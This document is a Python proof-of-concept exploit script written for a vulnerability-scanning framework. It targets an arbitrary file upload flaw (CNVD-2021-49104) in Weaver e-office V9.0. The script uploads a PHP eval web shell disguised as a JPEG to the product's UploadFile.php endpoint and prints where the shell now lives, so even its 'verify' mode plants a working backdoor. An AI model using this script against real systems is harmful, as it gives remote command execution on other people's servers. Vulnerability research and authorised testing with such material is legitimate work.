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vb_2021_0059_fanwei_Any_file_upload.py
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vb_2021_0059_fanwei_Any_file_upload.py
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from datetime import date
from BasePoc import BasePoc # 导入BasePoc,是PoC脚本实现的类中必须继承的基类
from utils import error, tree, highlight, req # utils实现了一些常用函数,可以直接导入方便使用
from urllib.parse import urljoin
import requests
from requests.packages import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
from requests_toolbelt.multipart.encoder import MultipartEncoder
POC_NAME = "fanwei_cnvd_2021_49104" # PoC脚本中实现的类名,TCC框架将根据POC_NAME去实例化类以达到调用的效果,因此类名应与该变量名保持相同
class fanwei_cnvd_2021_49104(BasePoc):
poc_info = {
'poc': {
'Id': 'vb_2021_0051', # PoC的VID编号
'vbid': '',
'Name': 'fanwei_cnvd_2021_49104', # PoC名称
'Author': 'lUc1f3r11', # PoC作者
'Create_date': '2021-01-04', # PoC创建时间
},
'vul': {
'Product': '泛微oa', # 漏洞所在产品名称
'Version': '泛微e-office V9.0', # 产品的版本号
'Type': 'File upload', # 漏洞类型
'Severity': 'high', # 漏洞危害等级low/medium/high/critical
'isWeb' : True, # 是否Web漏洞
'Description': '''
CNVD-2021-49104
泛微e-office 任意文件上传
''', # 漏洞简要描述
'DisclosureDate': '2021-01-12', # PoC公布时间
}
}
# scan_info信息可以保持默认,相关参数如target/mode/verbose在TCC框架中都可以通过命令行参数设置
scan_info = {
'Target': '', # 目标网站域名
'Mode': 'verify', # verify或exploit
'Verbose': True, # 是否打印详细信息
'Error': '', # 检测失败时可用于记录相关信息
'Success': False, # 是否检出漏洞,若检出请更新该值为True
'risk_category': 'sec_vul',
'Ret': tree() # 可用于记录额外的一些信息
}
test_case = {
'Need_fb': False,
'Vuln': [], # 列表格式的测试URL
'Not_vuln': [], # 同上
}
def verify(self, first=False):
# 漏洞验证方法(mode=verify)
target = self.scan_info.get("Target", "") # 获取测试目标
verbose = self.scan_info.get("Verbose", False) # 是否打印详细信息
url_vuln = target + "/general/index/UploadFile.php?m=uploadPicture&uploadType=eoffice_logo&userId=" # you can change the url here...
xpl_headers = {"Content-Type": "multipart/form-data; boundary=e64bdf16c554bbc109cecef6451c26a4",
"User-Agent": "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"X-Requested-With": "XMLHttpRequest",
"Content-Length": "606"}
shellCode = '''<?php @eval(base64_decode($_POST[cmd]));?>'''
multipart_encoder = MultipartEncoder(
fields={
"Filedata": (
"b.php", shellCode, 'image/jpeg'),
"typeStr": "File"
},
boundary='e64bdf16c554bbc109cecef6451c26a4'
)
response = requests.post(url=url_vuln, headers=xpl_headers, data=multipart_encoder, verify=False)
if response.status_code == 200:
self.scan_info['Success'] = True # 漏洞存在,必须将该字段更新为True(必须)
self.scan_info['Ret']['VerifyInfo']['URL'] = url_vuln # 记录漏洞相关的一些额外信息(可选)
self.scan_info['Ret']['VerifyInfo']['DATA'] = response.text
if verbose:
highlight("[+] url: " + url_vuln + " 存在泛微e-office 任意文件上传漏洞!!!")
print("[+] shell path: " + target + "/images/logo/logo-eoffice.php")
else:
highlight("[+] url: " + url_vuln + " 不存在泛微e-office 任意文件上传漏洞!!!")
def exploit(self, first=False):
# 漏洞利用方法(mode=verify)
self.verify(first=first)